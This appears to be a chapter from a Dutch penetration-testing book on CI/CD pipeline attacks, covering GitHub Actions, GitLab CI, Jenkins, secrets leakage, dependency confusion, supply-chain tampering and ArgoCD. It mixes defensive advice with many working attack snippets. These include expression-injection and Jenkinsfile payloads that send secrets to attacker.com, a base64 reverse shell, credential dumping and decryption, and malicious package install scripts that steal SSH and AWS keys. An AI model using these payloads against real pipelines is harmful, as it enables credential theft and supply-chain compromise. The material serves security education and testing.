CI/CD Pipeline Aanvallen
Waarin we ontdekken dat de machines die onze software bouwen, testen en deployen dezelfde machines zijn die de sleutels tot het koninkrijk bewaken – en dat niemand de bewakers bewaakt.
7.1 De software supply chain
Waarom CI/CD het nieuwe aanvalsoppervlak is
Er was een tijd – niet eens zo lang geleden – dat software werd gebouwd op de laptop van een developer, gekopieerd naar een USB-stick, en door een systeembeheerder handmatig op een server gezet. Het was primitief, foutgevoelig en volstrekt onschaalbaar. Maar het had een eigenschap die we pas zijn gaan waarderen nu we die kwijt zijn: de aanvalsoppervlakte was beperkt tot de mensen die fysiek bij de server konden.
Nu wordt software gebouwd door geautomatiseerde systemen die code ophalen uit repositories, afhankelijkheden downloaden van publieke package managers, tests draaien in gedeelde omgevingen, secrets injecteren tijdens het build-proces, en het resultaat deployen naar productie – allemaal zonder dat een mens er naar kijkt. Het is efficienter. Het is schaalbaarder. En het is een nachtmerrie voor beveiliging.
Een CI/CD pipeline is, vanuit het perspectief van een aanvaller, het equivalent van een kluisruimte met een lopende band die er doorheen loopt. De kluis is stevig, de deur zit op slot, maar er is een gat in de muur waar de lopende band doorheen gaat. En op die lopende band liggen de sleutels tot het koninkrijk: deployment credentials, cloud tokens, signing keys, database wachtwoorden. Alles wat nodig is om software van code naar productie te brengen.
De term “keys to the kingdom” is geen hyperbool. Een gecompromitteerde CI/CD pipeline geeft je typisch toegang tot:
- Source code repositories – alle code, inclusief interne tooling
- Deployment credentials – tokens om naar productie te deployen
- Cloud credentials – AWS/Azure/GCP service accounts met brede permissies
- Signing keys – om artefacten te ondertekenen als “vertrouwd”
- Secrets – database wachtwoorden, API keys, certificaten
- Infrastructure – Kubernetes clusters, serverless functies, CDN configuraties
En het mooiste – vanuit het perspectief van de aanvaller – is dat dit allemaal geautomatiseerd is. Je hoeft niet handmatig bestanden te kopiëren of wachtwoorden in te typen. De pipeline doet het voor je. Je hoeft alleen maar de pipeline te overtuigen dat jouw code legitiem is.
De aanvalsketen
MITRE ATT&CK heeft de supply chain als aanvalsvector formeel erkend onder T1195 (Supply Chain Compromise). Maar de werkelijke impact gaat verder dan een enkele techniek. Een gecompromitteerde pipeline raakt meerdere tactieken:
| Fase | MITRE ATT&CK | Wat de aanvaller bereikt |
|---|---|---|
| Code injection | T1195.002 - Software Supply Chain | Kwaadaardige code in de build |
| Secret theft | T1552.001 - Credentials In Files | Pipeline secrets exfiltreren |
| Artifact tampering | T1195.002 | Getrojaniseerde build-artefacten |
| Deployment abuse | T1610 - Deploy Container | Malicious deployment naar productie |
| Lateral movement | T1021 - Remote Services | Van CI/CD naar cloud/infra |
De SolarWinds-aanval van 2020 was het moment waarop de wereld wakker werd. Aanvallers compromitteerden het build-systeem van SolarWinds en injecteerden een backdoor in een software-update die naar 18.000 organisaties werd gedistribueerd, waaronder het Amerikaanse ministerie van Financien en het Department of Homeland Security. De aanvallers hoefden geen netwerken te hacken – ze lieten de slachtoffers de backdoor zelf installeren, als een “vertrouwde” software-update.
Het was briljant. Het was verschrikkelijk. En het was onvermijdelijk.
7.2 CI/CD architectuur
Componenten
Elke CI/CD pipeline, ongeacht het platform, bestaat uit dezelfde basiscomponenten:
┌──────────────────────────────────────────────────────────────────┐
│ CI/CD Pipeline │
│ │
│ ┌────────┐ ┌────────┐ ┌────────┐ ┌─────────────────┐ │
│ │ Source │───>│ Build │───>│ Test │───>│ Deploy │ │
│ │ (Git) │ │(Runner)│ │(Runner)│ │(Runner → Prod) │ │
│ └────────┘ └────┬───┘ └────────┘ └────────┬────────┘ │
│ │ │ │
│ ┌──────┴──────┐ ┌──────┴──────┐ │
│ │ Secrets │ │ Secrets │ │
│ │ Manager │ │ Manager │ │
│ └─────────────┘ └─────────────┘ │
└──────────────────────────────────────────────────────────────────┘
Runners/Agents zijn de machines die de pipeline-stappen uitvoeren. Ze kunnen gedeeld (shared runners, beschikbaar voor meerdere projecten) of dedicated (self-hosted, specifiek voor een project) zijn. Shared runners zijn een beveiligingsrisico omdat code van verschillende projecten op dezelfde machine draait. Self-hosted runners zijn een risico omdat ze vaak in het interne netwerk staan en als springplank naar andere systemen kunnen dienen.
Pipelines zijn de gedefinieerde stappen die code doorloopt van commit tot deployment. Ze worden typisch beschreven in YAML-bestanden die in de repository zelf staan. Dit is het “pipeline as code” paradigma, en het is zowel een zegen als een vloek: het is versiebeheerd en reviewbaar, maar het betekent ook dat wie de code kan wijzigen, de pipeline kan wijzigen.
Environments zijn logische groepen van deployment-targets: development, staging, productie. Goed geconfigureerde pipelines vereisen handmatige goedkeuring voor deployment naar productie. Slecht geconfigureerde pipelines deployen automatisch. Raad eens welke variant vaker voorkomt.
Secrets Management is hoe de pipeline toegang krijgt tot credentials. De meest voorkomende patronen:
| Methode | Veiligheid | Voorbeeld |
|---|---|---|
| Environment variables in UI | Redelijk | GitHub Secrets, GitLab CI Variables |
| Vault integratie | Goed | HashiCorp Vault, AWS Secrets Manager |
| OIDC federation | Goed | Workload Identity Federation |
| Hardcoded in pipeline YAML | Catastrofaal | password: SuperSecret123 in
.gitlab-ci.yml |
.env bestanden in repo |
Catastrofaal | Credentials in version control |
OIDC Federation verdient speciale aandacht omdat het de toekomst van secrets management in CI/CD is. In plaats van langlevende credentials op te slaan in de pipeline, vraagt de runner een kortlevend token aan bij de cloud provider, geauthenticeerd via het OIDC-token van het CI/CD platform. Geen secrets om te stelen, geen credentials om te roteren. Het is elegant. Het wordt ook nog lang niet overal gebruikt.
# Voorbeeld: GitHub Actions met AWS OIDC
jobs:
deploy:
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789:role/GitHubActions
aws-region: eu-west-1
# Geen AWS_ACCESS_KEY_ID of AWS_SECRET_ACCESS_KEY nodig!7.3 GitHub Actions Exploitation
Het aanvalsoppervlak
GitHub Actions is het meest gebruikte CI/CD platform ter wereld, geintegreerd in het platform waar de meeste open-source en veel closed-source code leeft. Het is krachtig, flexibel, en – als je niet oplet – een open deur naar je hele infrastructuur.
Expression injection
De meest elegante aanval op GitHub Actions is expression injection.
GitHub Actions gebruikt ${{ }} syntax voor expressies, en
sommige contexten worden als templates verwerkt voordat de
shell ze uitvoert. Als een aanvaller controle heeft over de waarde van
een expressie, kan hij willekeurige commando’s injecteren.
# KWETSBAAR: issue title wordt direct in de shell geïnjecteerd
name: Issue Handler
on:
issues:
types: [opened]
jobs:
process:
runs-on: ubuntu-latest
steps:
- run: |
echo "Processing issue: ${{ github.event.issue.title }}"
# Als de issue title is: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)"
# wordt dit:
# echo "Processing issue: "; curl https://attacker.com/steal?t=$(cat $GITHUB_TOKEN)De aanval werkt omdat ${{ github.event.issue.title }}
wordt vervangen door de letterlijke tekst van de issue title
voordat het shell-commando wordt uitgevoerd. Er is geen
escaping, geen sanitization. De aanvaller opent simpelweg een issue met
een titel die shell-commando’s bevat.
Kwetsbare contexten:
| Context | Aanvaller controleert | Risico |
|---|---|---|
github.event.issue.title |
Issue titel | Shell injection |
github.event.issue.body |
Issue body | Shell injection |
github.event.pull_request.title |
PR titel | Shell injection |
github.event.pull_request.body |
PR body | Shell injection |
github.event.comment.body |
Comment | Shell injection |
github.event.review.body |
Review tekst | Shell injection |
github.event.commits[*].message |
Commit message | Shell injection |
github.head_ref |
Branch naam | Shell injection |
# VEILIG: gebruik een environment variable als tussenlaag
steps:
- name: Process issue
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
echo "Processing issue: $ISSUE_TITLE"
# De waarde wordt nu als environment variable doorgegeven,
# niet als template die in de shell wordt geïnjecteerdSelf-hosted runner abuse
Self-hosted runners zijn machines die een organisatie zelf beheert en registreert bij GitHub. Ze worden vaak gebruikt voor builds die toegang nodig hebben tot interne resources. Het probleem: als een aanvaller code kan uitvoeren op een self-hosted runner, heeft hij een foothold in het interne netwerk.
# Een pull request van een fork kan code uitvoeren op self-hosted runners
# ALS de workflow getriggerd wordt door pull_request
# EN self-hosted runners beschikbaar zijn voor het project
name: Build
on:
pull_request: # Triggert op PRs van forks!
jobs:
build:
runs-on: self-hosted # Draait op de interne runner
steps:
- uses: actions/checkout@v4 # Checkt de code van de fork uit
- run: make build # Voert de code van de aanvaller uitWat een aanvaller op een self-hosted runner kan doen:
# Op de self-hosted runner (na het uitvoeren van een malicious PR):
# 1. Netwerk verkenning
ip addr
cat /etc/resolv.conf
nmap -sn 10.0.0.0/24
# 2. Credentials zoeken
find / -name ".env" -o -name "*.key" -o -name "kubeconfig" 2>/dev/null
cat ~/.docker/config.json
cat ~/.kube/config
cat ~/.aws/credentials
# 3. Andere workflow runs bespioneren (persistent runner)
ls -la /home/runner/actions-runner/_work/
# Bevat code en artefacten van eerdere builds
# 4. Runner registration token stelen
cat /home/runner/actions-runner/.credentials
cat /home/runner/actions-runner/.runner
# 5. Implant achterlaten (als de runner niet ephemeral is)
echo "* * * * * curl https://attacker.com/beacon" | crontab -
# Of pas de runner configuratie aan om bij elke build code uit te voerenIB Tip: Controleer of self-hosted runners als ephemeral zijn geconfigureerd (
--ephemeralflag). Ephemeral runners worden na elke job vernietigd en opnieuw aangemaakt, wat het risico van cross-job contaminatie elimineert. Non-ephemeral runners zijn een persistentie-goudmijn.
GITHUB_TOKEN permissions
Elke GitHub Actions workflow krijgt automatisch een
GITHUB_TOKEN met permissies op de repository. De standaard
permissies zijn aanzienlijk:
# Standaard GITHUB_TOKEN permissies (als niet beperkt):
permissions:
actions: write
checks: write
contents: write # KAN CODE PUSHEN!
deployments: write
issues: write
packages: write
pull-requests: write
repository-projects: write
security-events: write
statuses: write# Best practice: minimale permissies
permissions:
contents: read
# Voeg alleen toe wat nodig is# Exfiltratie van GITHUB_TOKEN in een workflow
# Het token is beschikbaar als $GITHUB_TOKEN of ${{ secrets.GITHUB_TOKEN }}
# Stap 1: Lees het token
echo $GITHUB_TOKEN
# Of:
cat $GITHUB_TOKEN # soms als bestand beschikbaar
# Stap 2: Gebruik het token om repository secrets te lezen
# (als het token voldoende permissies heeft)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/repos/ORG/REPO/actions/secrets"
# Stap 3: Gebruik het token om code te pushen
git config user.name "bot"
git config user.email "bot@example.com"
git remote set-url origin https://x-access-token:$GITHUB_TOKEN@github.com/ORG/REPO.git
echo "backdoor" >> backdoor.sh
git add . && git commit -m "chore: update dependencies" && git push
# Stap 4: Lees de Organization secrets (als org-level token)
curl -s -H "Authorization: token $GITHUB_TOKEN" \
"https://api.github.com/orgs/ORG/actions/secrets"Secret exfiltration via artifacts
Workflow artefacten zijn bestanden die een job produceert en die door andere jobs of gebruikers kunnen worden gedownload. Als secrets per ongeluk in artefacten terechtkomen:
# KWETSBAAR: debug output bevat secrets
jobs:
build:
steps:
- run: |
echo "Debug: ENV=$(env)" # Dumpt ALLE environment variables
npm run build 2>&1 | tee build.log # Build log bevat secret refs
- uses: actions/upload-artifact@v4
with:
name: build-output
path: |
dist/
build.log # Bevat mogelijk gelekte secrets!# Download artefacten via de GitHub API
# Lijst alle artefacten van een repository
curl -s -H "Authorization: token $TOKEN" \
"https://api.github.com/repos/ORG/REPO/actions/artifacts" \
| python3 -c "
import sys, json
for a in json.load(sys.stdin)['artifacts']:
print(f\"{a['id']}: {a['name']} ({a['created_at']})\")
"
# Download een specifiek artefact
curl -sL -H "Authorization: token $TOKEN" \
"https://api.github.com/repos/ORG/REPO/actions/artifacts/ARTIFACT_ID/zip" \
-o artifact.zip
unzip artifact.zip
grep -rn -iE '(password|secret|key|token|credential)' .pull_request_target: de gevaarlijke trigger
pull_request_target is een workflow trigger die draait
in de context van de base branch, niet de PR-branch. Dit
betekent dat de workflow toegang heeft tot de secrets van de base
branch. Het is bedoeld voor vertrouwde acties op onvertrouwde PRs (zoals
het labelen van PRs). Maar als de workflow code uitcheckt en uitvoert
van de PR-branch:
# KWETSBAAR: pull_request_target + checkout van PR code
name: PR Build
on:
pull_request_target: # Draait met secrets van main branch!
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
# Checkt de CODE VAN DE PR uit, maar draait met SECRETS VAN MAIN
- run: npm install # Voert package.json scripts uit van de PR
- run: npm test # Aanvaller controleert de testsDe aanvaller opent een PR met malicious code, en die code wordt uitgevoerd met de secrets van de main branch. Het is het equivalent van een bezoeker die zijn eigen bagage meebrengt naar de kluisruimte.
# VEILIG: gebruik pull_request_target alleen zonder code checkout
name: PR Label
on:
pull_request_target:
types: [opened]
jobs:
label:
runs-on: ubuntu-latest
steps:
- uses: actions/github-script@v7
with:
script: |
// Voer NOOIT code uit van de PR
// Gebruik alleen de GitHub API
await github.rest.issues.addLabels({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
labels: ['needs-review']
})7.4 GitLab CI Aanvallen
Shared runners: het gedeelde risico
GitLab CI shared runners zijn machines die door meerdere projecten worden gedeeld. Elke job draait in een container, maar de runners zelf zijn persistent:
# .gitlab-ci.yml - malicious pipeline
stages:
- exploit
steal_secrets:
stage: exploit
script:
# 1. Dump alle CI/CD variables
- env | sort
# CI/CD variables (gemarkeerd als "protected" of niet)
# worden als environment variables beschikbaar gemaakt
# 2. Zoek naar overgebleven artefacten van andere projecten
- find /builds/ -name "*.env" -o -name "*.key" 2>/dev/null
# 3. Als de runner Docker-in-Docker ondersteunt:
- docker ps # Andere containers op dezelfde runner?
- docker images # Cached images met secrets?
# 4. Netwerk verkenning vanuit de runner
- apt-get update && apt-get install -y nmap
- nmap -sn 10.0.0.0/24CI/CD variable extraction
GitLab CI/CD variables worden ingesteld op project-, groep- of instance-niveau. Ze zijn beschikbaar als environment variables in pipeline jobs:
# In een GitLab CI job:
# Alle variables zijn beschikbaar als env vars
env | grep -E '^(CI_|CUSTOM_|DB_|AWS_|DEPLOY_)'
# Protected variables zijn alleen beschikbaar op protected branches
# MAAR: als je toegang hebt tot een protected branch...
git checkout main # of production, release, etc.
# ...dan zijn alle protected variables beschikbaar
# Masked variables worden verborgen in de build log
# MAAR: er zijn manieren om ze te onthullen
echo "$SECRET_VAR" | base64 # Base64-encoded output wordt niet gemasked
echo "$SECRET_VAR" | rev # Omgekeerde tekst wordt niet gemasked
echo "$SECRET_VAR" > /tmp/secret.txt
cat /tmp/secret.txt # Bestand output wordt niet gemasked# .gitlab-ci.yml - extract protected variables
extract_vars:
script:
# Methode 1: schrijf naar bestand en upload als artifact
- env > /tmp/all_vars.txt
- base64 /tmp/all_vars.txt # Omzeilt masking
artifacts:
paths:
- /tmp/all_vars.txt
expire_in: 1 hour
only:
- main # Protected branch = protected variables beschikbaarProtected branch bypass
Protected branches in GitLab vereisen merge requests met goedkeuringen. Maar er zijn omwegen:
# Methode 1: Als je maintainer bent, kun je direct pushen
# (tenzij "No one" is geconfigureerd voor push access)
git push origin main
# Methode 2: Branch protection rules zijn soms te specifiek
# Protected branch: "main"
# Maar niet: "Main", "MAIN", of "refs/heads/main"
# (case-sensitivity afhankelijk van configuratie)
# Methode 3: Tags kunnen soms worden gepusht zonder review
git tag -a v1.0.0 -m "Release"
git push origin v1.0.0
# Als de pipeline triggert op tags en protected variables beschikbaar zijn...
# Methode 4: Merge request approval bypass via API
# Als de minimale approvals op 1 staat en je zelf kunt approven:
curl -X POST "https://gitlab.com/api/v4/projects/ID/merge_requests/MR_ID/approve" \
-H "PRIVATE-TOKEN: $GITLAB_TOKEN"Include directive abuse
GitLab CI ondersteunt include directives die externe
YAML-bestanden laden:
# .gitlab-ci.yml met include
include:
- project: 'shared/ci-templates'
file: '/templates/build.yml'
ref: main
- remote: 'https://internal-server.com/pipeline.yml'
- local: '/ci/deploy.yml'
# AANVAL: als je de included bron kunt wijzigen,
# wijzig je effectief de pipeline van het doelproject
# zonder die repo direct aan te raken# Aanval op 'remote' include:
# Als je de webserver beheert die de YAML host,
# of DNS kunt manipuleren om het verzoek te redirecten:
# malicious pipeline.yml op attacker's server
stages:
- pwn
exfiltrate:
stage: pwn
script:
- env | curl -X POST -d @- https://attacker.com/collect
# Dit wordt uitgevoerd in de context van het doelproject
# met al zijn CI/CD variables en secrets7.5 Jenkins Exploitation
Het olifant in de kamer
Jenkins is het oudste en meest verspreide CI/CD platform. Het is ook, met enige regelmaat, het meest onveilige. Jenkins-instanties die open staan op het internet, met standaard credentials of zonder authenticatie, zijn zo gewoon dat ze nauwelijks nog nieuwswaarde hebben. Het is als een stadspark – iedereen weet dat het er is, iedereen kan erin, en niemand lijkt zich daar zorgen over te maken.
Script Console RCE
De Jenkins Script Console (/script) is een
Groovy-interpreter die code uitvoert op de Jenkins master met de rechten
van het Jenkins-proces (vaak root of SYSTEM):
// Jenkins Script Console - Remote Code Execution
// URL: https://JENKINS/script
// Commando uitvoeren
println "whoami".execute().text
println "id".execute().text
println "cat /etc/shadow".execute().text
// Reverse shell
def cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
println cmd.execute().text
// Bestanden lezen
new File("/etc/passwd").text
// Environment variables (bevat vaak secrets)
System.getenv().each { k, v -> println "$k=$v" }
// Jenkins credentials uitlezen
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import jenkins.model.Jenkins
def creds = CredentialsProvider.lookupCredentials(
StandardUsernamePasswordCredentials.class,
Jenkins.instance, null, null
)
creds.each {
println "ID: ${it.id}"
println "Username: ${it.username}"
println "Password: ${it.password}"
println "---"
}IB Tip: De Jenkins Script Console vereist normaal gesproken admin-toegang, maar misconfiguraties komen voor. Test altijd
/scripten/scriptText(de API-variant). Sommige Jenkins-installaties hebben anonymous access tot de Script Console – een situatie die net zo absurd is als het klinkt.
Groovy sandbox escapes
Jenkins Pipeline scripts draaien in een Groovy sandbox die gevaarlijke operaties beperkt. Maar de sandbox is herhaaldelijk omzeild:
// Historische sandbox escapes (ter illustratie):
// Via meta-programming
// CVE-2019-1003000 en varianten
@Grab('commons-io:commons-io:2.6')
import org.apache.commons.io.IOUtils
// Via AST transformations
@groovy.transform.ASTTest(value = {
assert java.lang.Runtime.getRuntime().exec("id")
})
class Exploit {}
// Moderne pipelines: gebruik de "Script Security" plugin bypass
// Vraag de admin om een script te "approven" via Social EngineeringCredential stores
Jenkins slaat credentials op in een versleutelde store, maar de encryptiesleutel staat op het Jenkins-filesysteem:
# Op het Jenkins-filesysteem (na compromitteren van de master):
# Credentials zijn opgeslagen in:
cat /var/lib/jenkins/credentials.xml
# Of:
cat $JENKINS_HOME/credentials.xml
# De encryptiesleutel:
cat /var/lib/jenkins/secrets/master.key
cat /var/lib/jenkins/secrets/hudson.util.Secret
# Decryptie met jenkins-credentials-decryptor:
# https://github.com/hoto/jenkins-credentials-decryptor
jenkins-credentials-decryptor \
-m /var/lib/jenkins/secrets/master.key \
-s /var/lib/jenkins/secrets/hudson.util.Secret \
-c /var/lib/jenkins/credentials.xml
# Of via de Script Console (als je web-toegang hebt):
println hudson.util.Secret.decrypt("{AQAAABAAAAAw...}")Pipeline as code injection
Als je een Jenkinsfile kunt wijzigen in een repository,
kun je de pipeline kapen:
// Malicious Jenkinsfile
pipeline {
agent any
stages {
stage('Build') {
steps {
// Normaal uitziende build stap
sh 'mvn clean install'
}
}
stage('Deploy') {
steps {
// Exfiltreer credentials
withCredentials([
usernamePassword(
credentialsId: 'prod-deploy',
usernameVariable: 'DEPLOY_USER',
passwordVariable: 'DEPLOY_PASS'
),
string(
credentialsId: 'aws-secret',
variable: 'AWS_KEY'
)
]) {
sh '''
# Ziet eruit als een deployment check
curl -s "https://attacker.com/collect" \
-d "user=$DEPLOY_USER" \
-d "pass=$DEPLOY_PASS" \
-d "aws=$AWS_KEY"
'''
}
}
}
}
}7.6 Secrets in Pipelines
Het onvermijdelijke lek
Hier is het fundamentele probleem met secrets in CI/CD: de pipeline moet toegang hebben tot secrets om zijn werk te doen. Het moet kunnen deployen, dus het heeft deployment credentials nodig. Het moet naar de database, dus het heeft het wachtwoord nodig. Het moet images pushen, dus het heeft registry credentials nodig.
De vraag is niet of secrets in de pipeline zitten, maar hoe goed ze beschermd zijn. En het antwoord is, in de meeste gevallen, teleurstellend.
Environment variable leaks
# In elke CI/CD omgeving:
env | sort
# Toont ALLE environment variables, inclusief secrets
# die via de CI/CD configuratie zijn geïnjecteerd
# Specifieke patronen om te zoeken:
env | grep -iE '(password|secret|key|token|credential|api_key|access_key)'
# AWS credentials
env | grep AWS
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=wJal...
# AWS_SESSION_TOKEN=...
# Database credentials
env | grep -iE '(db_|database_|mysql_|postgres_|mongo_)'
# DB_PASSWORD=SuperSecret123
# Cloud provider tokens
env | grep -iE '(gcp_|google_|azure_|arm_)'Build log secrets
Build logs zijn een veelvoorkomende bron van gelekte secrets. Ondanks masking door het CI/CD platform:
# Methode 1: Debug mode
# Veel build tools dumpen environment variables in verbose/debug mode
npm install --verbose 2>&1 # Kan registry tokens tonen
pip install -r requirements.txt -v # Kan index URLs met credentials tonen
terraform plan 2>&1 # Kan provider credentials tonen
# Methode 2: Error messages
# Foutmeldingen bevatten vaak de waarden die het probleem veroorzaken
curl -u "admin:$SECRET_PASSWORD" https://internal-api.com/endpoint
# Als de curl faalt, kan de foutmelding de volledige URL met credentials tonen
# Methode 3: Stack traces
# Applicatie-crashes dumpen soms de environment of configuratie
python -c "import os; raise Exception(os.environ)"Artifact secrets
# Veelvoorkomende bestanden met secrets in build artefacten:
# .env bestanden
# docker-compose.yml met hardcoded credentials
# terraform.tfstate (bevat ALLE infrastructure state inclusief passwords)
# kubeconfig bestanden
# .npmrc met registry tokens
# pip.conf met index URLs
# settings.xml (Maven) met repository credentials
# gradle.properties met signing keys
# Terraform state is bijzonder gevaarlijk:
cat terraform.tfstate | python3 -c "
import sys, json
state = json.load(sys.stdin)
for resource in state.get('resources', []):
for instance in resource.get('instances', []):
attrs = instance.get('attributes', {})
for key, value in attrs.items():
if any(s in key.lower() for s in ['password', 'secret', 'key', 'token']):
print(f'{resource[\"type\"]}.{resource[\"name\"]}: {key}={value}')
".env bestanden in repositories
# Zoek naar .env bestanden in de git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"
# Haal een verwijderd .env bestand op
git log --diff-filter=D -- .env
git show COMMIT_HASH:.env
# Zoek in de volledige git history naar secrets
# truffleHog
trufflehog git file:///path/to/repo
# git-secrets
git secrets --scan-history
# gitleaks
gitleaks detect --source /path/to/repo --verboseIB Tip:
terraform.tfstatebestanden zijn de heilige graal van CI/CD secrets. Ze bevatten de volledige staat van de infrastructuur, inclusief alle wachtwoorden, API keys en connection strings die Terraform heeft aangemaakt of gebruikt. Zoek altijd naar tfstate-bestanden in repositories, artefacten en S3 buckets.
7.7 Dependency Confusion
Het naamgevingsprobleem
Dependency confusion is een van die aanvallen die zo eenvoudig is dat je je afvraagt waarom niemand er eerder aan heeft gedacht. Het concept: veel organisaties hebben interne packages met namen die niet bestaan op publieke package managers. Als een aanvaller een package met dezelfde naam publiceert op de publieke registry, en de build-tool de publieke versie verkiest boven de private versie, wordt de kwaadaardige code geinstalleerd.
Het is naamkaping, maar dan voor software.
De aanval in detail
# Stap 1: Ontdek interne package namen
# Via error messages in build logs
# Via package.json / requirements.txt / .csproj in publieke repos
# Via npm/pip install output die naar een private registry wijst
# Via DNS-verzoeken (als je het netwerk kunt sniffen)
# Voorbeeld: package.json met interne packages
{
"dependencies": {
"react": "^18.0.0", // Publiek - bestaat op npm
"company-utils": "^1.2.3", // Intern - bestaat NIET op npm
"company-auth": "^2.0.0" // Intern - bestaat NIET op npm
}
}# Stap 2: Publiceer een malicious package met dezelfde naam
# maar een HOGER versienummer
# npm
mkdir company-utils && cd company-utils
npm init -y
# Zet het versienummer hoger dan de interne versie
cat > package.json << 'EOF'
{
"name": "company-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/collect?pkg=company-utils&host=$(hostname)"
}
}
EOF
npm publish
# PyPI
cat > setup.py << 'EOF'
from setuptools import setup
from setuptools.command.install import install
import os
class PostInstall(install):
def run(self):
install.run(self)
os.system("curl https://attacker.com/collect?pkg=company-utils")
setup(
name="company-utils",
version="99.0.0",
cmdclass={"install": PostInstall}
)
EOF
python3 setup.py sdist
twine upload dist/*
# NuGet
# Vergelijkbaar patroon met .csproj en pre/post build eventsWaarom het werkt: de meeste package managers geven voorkeur aan
hogere versienummers. Als de interne versie 1.2.3 is en de
publieke versie 99.0.0, installeert de build-tool de
publieke versie. De preinstall of postinstall
scripts worden automatisch uitgevoerd – op de build server, met de
rechten van de CI/CD runner, met toegang tot alle pipeline secrets.
Typosquatting
Verwant aan dependency confusion, maar subtieler:
# Voorbeelden van typosquats:
# Origineel: Typosquat:
# lodash 1odash (L vs 1)
# requests requets (letters omgedraaid)
# python-dateutil python-dateutill (extra l)
# colors colour (Brits Engels)
# express expresss (extra s)
# Automatische typosquat-generatie:
# - Letter omwisseling: ab -> ba
# - Letter toevoeging: abc -> abbc
# - Letter verwijdering: abc -> ac
# - Letter vervanging: abc -> adc
# - Homoglyphen: l -> 1, O -> 0, rn -> mNamespace confusion
# npm scoped packages
# Intern: @company/utils (scoped)
# Aanvaller kan niet: @company/utils publiek aanmaken (scope is beschermd)
# Maar als het interne package NIET scoped is:
# Intern: company-utils (niet scoped)
# Aanvaller kan WEL: company-utils op npm publiceren
# PyPI heeft geen scopes
# Intern: company-utils
# Aanvaller: company-utils op PyPI = dependency confusion
# Verdediging: gebruik ALTIJD scoped/namespaced packages
# npm: @company/utils
# NuGet: Company.Utils met reserved prefix
# PyPI: publiceer een placeholder met dezelfde naam7.8 Supply Chain Aanvallen
Compromised Actions en Orbs
GitHub Actions en CircleCI Orbs zijn herbruikbare workflow-componenten. Ze worden gereferereerd op naam en versie, en ze draaien met de permissies van de workflow die ze aanroept:
# GitHub Actions - verwijzen naar een action
steps:
- uses: actions/checkout@v4 # Officieel, veilig
- uses: random-user/deploy-action@v1 # Wie is random-user?
- uses: company/internal-action@main # Wat als iemand main pusht?
# HET RISICO: als "random-user" zijn GitHub account wordt gecompromitteerd,
# of als hij besluit kwaadaardige code toe te voegen aan v1,
# draait die code in JOUW pipeline met JOUW secrets# VEILIG: pin actions op een specifieke commit SHA
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
# Nu maakt het niet uit of de tag wordt verplaatst --
# je gebruikt altijd dezelfde code
# Maar wie controleert die SHA? En wanneer update je?
# En wat als de action dependency heeft op ANDERE actions?
# Supply chain security is een eindeloze keten van vertrouwen.De realiteit is dat de meeste organisaties actions pinnen op tags
(@v1, @v4) die door de eigenaar op elk moment
naar willekeurige code kunnen worden verwezen. Het is alsof je een
aannemer vertrouwt omdat hij vorig jaar goed werk leverde, zonder te
controleren of hij dit keer dezelfde ploeg meebrengt.
Malicious packages
# Veelvoorkomende technieken in malicious packages:
# 1. Postinstall scripts
# package.json:
"scripts": {
"postinstall": "node malicious.js"
}
# 2. Import-time code execution
# Python: code in __init__.py of setup.py draait bij import/install
# Ruby: code in gemspec draait bij install
# Go: init() functies draaien bij import
# 3. Typosquatting + credential theft
# malicious setup.py:
import os, json, base64, urllib.request
data = {
"hostname": os.uname().nodename,
"env": dict(os.environ),
"ssh_keys": [],
"aws_creds": None
}
# Verzamel SSH keys
for f in [os.path.expanduser("~/.ssh/id_rsa"), os.path.expanduser("~/.ssh/id_ed25519")]:
try:
data["ssh_keys"].append(open(f).read())
except: pass
# Verzamel AWS credentials
try:
data["aws_creds"] = open(os.path.expanduser("~/.aws/credentials")).read()
except: pass
# Exfiltreer
urllib.request.urlopen(urllib.request.Request(
"https://attacker.com/collect",
data=json.dumps(data).encode(),
headers={"Content-Type": "application/json"}
))Build artifact tampering
# Als je toegang hebt tot de artifact storage (S3 bucket, Artifactory, etc.):
# Stap 1: Download het originele artefact
aws s3 cp s3://company-artifacts/webapp/v2.1.0/webapp.jar ./
# Stap 2: Decompileer en modificeer
# Voor Java:
unzip webapp.jar -d webapp
# Voeg een backdoor klasse toe
javac -cp webapp Backdoor.java
cp Backdoor.class webapp/com/company/
# Stap 3: Hercompileer en upload
cd webapp && jar cf ../webapp-modified.jar . && cd ..
aws s3 cp webapp-modified.jar s3://company-artifacts/webapp/v2.1.0/webapp.jar
# Voor npm packages:
npm pack company-webapp
tar xzf company-webapp-2.1.0.tgz
# Modificeer package/index.js
# Herpack en upload
# Stap 4: Wacht tot de volgende deployment het getamperde artefact gebruikt7.9 ArgoCD en GitOps
De GitOps belofte
GitOps is het principe dat de gewenste staat van je infrastructuur in een Git-repository staat. ArgoCD is de meest populaire GitOps-tool voor Kubernetes: het synchroniseert Kubernetes-manifesten vanuit Git naar het cluster. Elke wijziging in Git wordt automatisch gedeployd.
Het klinkt elegant. Het is elegant. Maar het verplaatst het beveiligingsprobleem van “wie heeft toegang tot het cluster” naar “wie heeft toegang tot de Git-repository.” En Git-repositories zijn, zoals we hebben gezien, niet altijd zo goed beveiligd als men denkt.
ArgoCD aanvalsoppervlak
# ArgoCD standaard poorten
# 443/8080 - ArgoCD API Server (web UI + API)
# 8083 - ArgoCD Repo Server
# Stap 1: Ontdek ArgoCD
nmap -p 443,8080,8083 -sV TARGET
# Stap 2: Test standaard credentials
# ArgoCD < 1.9: admin / (leeg wachtwoord)
# ArgoCD >= 1.9: admin / (initieel wachtwoord in een Secret)
argocd login ARGOCD_SERVER --username admin --password ''
argocd login ARGOCD_SERVER --username admin --password 'admin'
